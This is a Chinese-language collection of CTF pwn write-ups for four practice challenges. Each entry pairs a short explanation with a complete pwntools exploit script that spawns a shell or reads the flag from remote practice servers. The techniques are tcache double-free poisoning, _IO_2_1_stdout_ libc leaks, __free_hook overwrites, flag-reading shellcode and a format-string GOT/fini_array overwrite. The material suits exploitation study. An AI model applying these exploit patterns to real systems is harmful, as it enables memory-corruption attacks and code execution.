指针没有置空,但是没有编辑功能因此只能double free
思路:
其实这题挺像roarctf的realloc_magic的,因为没有show功能因此需要使用_IO_2_1_stdout_
泄露libc
但是之前我们还需要弄出unsorted bin来
先申请一次,然后double free,使用partial rewrite爆破tcache控制结构(爆破一个byte),如果我们能分配到控制结构,就把chunk大小为0x250的num改为0x7,这样把它释放之后main_arena+0x60就会留在上面,在申请一个0x40大小的,main_arena+0x60就会留在0x40和0x50的地址处,这里建议申请0x50的chunk,因为0x40的chunk很可能num是负数而不能用。再次利用partial rewrite把_IO_2_1_stdout_
写在0x50的地址处,接下来在进行一次申请,并把_free_hook
写上去,这时候写上去的是chunk大小为0x80和0x90的地址,申请哪个都行,然后写入/bin/sh\x00+p64(system),释放即可
Exp:
from pwn import *
#r = remote("node3.buuoj.cn", 27296)
#r = process("./sctf_2019_one_heap")
#context.log_level = 'debug'
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *$rebase(0xCAF)
x/20gx $rebase(0x202050)
bin
''')
elf = ELF("./sctf_2019_one_heap")
libc = ELF('./libc/libc-2.27.so')
def add(size, content):
r.recvuntil("Your choice:")
r.sendline('1')
r.recvuntil("Input the size:")
r.sendline(str(size))
r.recvuntil("Input the content:")
r.send(content)
def delete():
r.recvuntil("Your choice:")
r.sendline('2')
def pwn():
add(0x7f, 'aaa\n')
delete()
delete()
add(0x7f, '\x10\xd0\n')
add(0x7f, 'bbb\n')
payload = p64(0)*4+p64(0x0000000007000000)+'\n'
add(0x7f, payload)
delete()
add(0x40, '\n')
add(0x18, p64(0)+'\x60\x87\n')
add(0x40,p64(0xfbad1887)+p64(0)*3+p8(0x58)+'\n')#get _IO_2_1_stdout_ change flag and write_base
#get_libc
libc_base = u64(r.recvuntil("\x7f").ljust(8,'\x00'))-libc.sym['_IO_file_jumps'] #choose by yourself _IO_2_1_stderr_+216 store
free_hook=libc_base+libc.sym['__free_hook']
system = libc_base + libc.sym['system']
success("libc_base:"+hex(libc_base))
add(0x18, p64(free_hook-8)*2+'\n')
add(0x7f, '/bin/sh\x00'+p64(system)+'\n')
delete()
r.sendline('cat /flag')
r.interactive()
if __name__ == "__main__":
while True:
r = remote("node3.buuoj.cn", 25222)
try:
pwn()
except:
r.close()
这题和vn tcache那题非常像,但是略有不同
首先是给了我们一块0x1000大小的可读可写可执行区域
当然也增加了限制,不能执行execve
还有其他一些限制,操作次数最多18次,删除次数最多3次
解题思路:
这题前面的做法和vn那题一样,劫持tcache的控制结构
不同的是劫持之后需要在tcache入口写入0x66660000,并在该地址写入读flag的shellcode,然后把__malloc_hook
写入0x66660000即可
from pwn import *
menu = "Your Choice: "
def add(size):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("size: ")
r.sendline(str(size))
def delete(index):
r.recvuntil(menu)
r.sendline('4')
r.recvuntil("id: ")
r.sendline(str(index))
def show(index):
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("id: ")
r.sendline(str(index))
def edit(index, content):
r.recvuntil(menu)
r.sendline('3')
r.recvuntil("id: ")
r.sendline(str(index))
r.recvuntil("content: ")
r.send(content)
r = remote("node3.buuoj.cn", 28510)
#r = process("./SWPUCTF_2019_p1KkHeap")
context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *$rebase(0x1155)
x/10gx $rebase(0x202100)
c
''')
elf = ELF("./SWPUCTF_2019_p1KkHeap")
libc = ELF("./libc/libc-2.27.so")
one_gadget_18 = [0x4f2c5,0x4f322,0x10a38c]
my_addr = 0x66660000
add(0x80)#0
add(0x80)#1
delete(0)
delete(0)
show(0)
r.recvuntil("content: ")
heap = u64(r.recvuntil('\n').strip().ljust(8, '\x00'))
success('heap'+hex(heap))
add(0x80)#2
edit(2, p64(heap - 0x250))
add(0x80)#3
add(0x80)#4
edit(4,p64(0x0707070707070707).ljust(0x70,'\x00')+p64(my_addr)+p64(0))
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read(3, my_addr+0x100, 50)
shellcode += shellcraft.write(1, my_addr+0x100, 50)
add(0x70)#5
edit(5,asm(shellcode))
delete(0)
show(0)
r.recvuntil("content: ")
malloc_hook = u64(r.recvuntil('\n').strip().ljust(8, '\x00')) - 0x60 - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
one_gadget = one_gadget_18[2] + libc_base
realloc = libc_base + libc.sym['__libc_realloc']
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
success("malloc_hook"+hex(malloc_hook))
edit(4,p64(0x0707070707070707).ljust(0x70,'\x00')+p64(my_addr)+p64(malloc_hook))
add(0x80)#6
edit(6, p64(my_addr))
add(0x20)
r.interactive()
main函数中只有一次利用漏洞的机会
有system的got表项
一个可行思路是把printf的GOT改为system@plt,然后输入/bin/sh,但是考虑到只有一次机会就比较困难
所以我们需要一个能让main多次执行的办法
这时我们只要把main的地址填入finit_array就能无限循环main函数了
简单介绍一下.init_array和.finit_array
.init_array中的函数会在main之前执行
.finit_array中的函数会在main之后执行
Exp:
from pwn import *
r = remote("node3.buuoj.cn", 29727)
#r = process('./ciscn_2019_sw_1')
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x080485A8
c
''')
elf = ELF("./ciscn_2019_sw_1")
printf_got = elf.got['printf']
finit = 0x0804979C
main = 0x08048534
system = 0x080483D0
num1 = 0x0804-0x10
num2 = 0x83D0-0x0804
num3 = 0x8534-0x83D0
payload = p32(finit+2) + p32(printf_got+2) +p32(printf_got) + p32(finit)
payload += '%' + str(num1) + 'c%4$hn%5$hn%' + str(num2) + 'c%6$hn%' + str(num3) + 'c%7$hn'#4$
print len(payload)
#r.recvuntil("Hello ")
r.sendline(payload)
r.sendline('/bin/sh')
r.interactive()
这题和 roarctf_2019_realloc_magic 是一个做法,思路直接参考链接的博文即可
这题和那题不同的地方是这题不能用realloc去申请_IO_2_1_stdout_
,因为本题无法将realloc_ptr置空,如果再次申请会触发size错误,所以我们改用malloc去申请_IO_2_1_stdout_
即可
from pwn import *
#r = remote("node3.buuoj.cn", 25009)
#r = process("./TWCTF_online_2019_asterisk_alloc")
context.log_level = 'debug'
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *$rebase(0xD77)
x/10gx $rebase(0x202030)
c
''')
elf = ELF("./TWCTF_online_2019_asterisk_alloc")
libc = ELF('./libc/libc-2.27.so')
menu = "=================================\n"
def malloc(size, content):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("Size: ")
r.sendline(str(size))
r.recvuntil("Data: ")
r.send(content)
def calloc(size, content):
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("Size: ")
r.sendline(str(size))
r.recvuntil("Data: ")
r.send(content)
def realloc(size, content):
r.recvuntil(menu)
r.sendline('3')
r.recvuntil("Size: ")
r.sendline(str(size))
r.recvuntil("Data: ")
r.send(content)
def delete(type):
r.recvuntil(menu)
r.sendline('4')
r.recvuntil("Which: ")
r.sendline(type)
def pwn():
realloc(0x70,'a')
realloc(0,'')
realloc(0x100,'b')
realloc(0,'')
realloc(0xa0,'c')
realloc(0,'')
realloc(0x100,'b')
[delete('r') for i in range(7)] #fill tcache
realloc(0,'') #to unsortbin fd->arena
realloc(0x70,'a')
realloc(0x180,'c'*0x78+p64(0x41)+p8(0x60)+p8(0x87))#overlap
realloc(0,'')
#pause()
realloc(0x100,'a')
realloc(0,'')
malloc(0x100,p64(0xfbad1887)+p64(0)*3+p8(0x58))#get _IO_2_1_stdout_ change flag and write_base
#get_libc
libc_base = u64(r.recvuntil("\x7f",timeout=0.1)[-6:].ljust(8,'\x00'))-libc.sym['_IO_file_jumps'] #choose by yourself _IO_2_1_stderr_+216 store _IO_file_jumps
if libc_base < 0:
exit(-1)
success("libc_base:"+hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
system = libc_base + libc.sym['system']
one_gadget=libc_base + 0x4f322
r.sendline('666') #padding
#pause()
realloc(0x120,'a')
realloc(0,'')
realloc(0x130,'a')
realloc(0,'')
realloc(0x170,'a')
realloc(0,'')
realloc(0x130,'a')
[delete('r') for i in range(7)]
realloc(0,'')
realloc(0x120,'a')
realloc(0x260,'a'*0x128+p64(0x41)+p64(free_hook-8))
realloc(0,'')
realloc(0x130,'a')
realloc(0,'')
realloc(0x130,'/bin/sh\x00'+p64(system))
delete('r')
r.interactive()
if __name__ == "__main__":
#pwn()
while True:
r = remote("node3.buuoj.cn", 26543)
try:
pwn()
except:
r.close()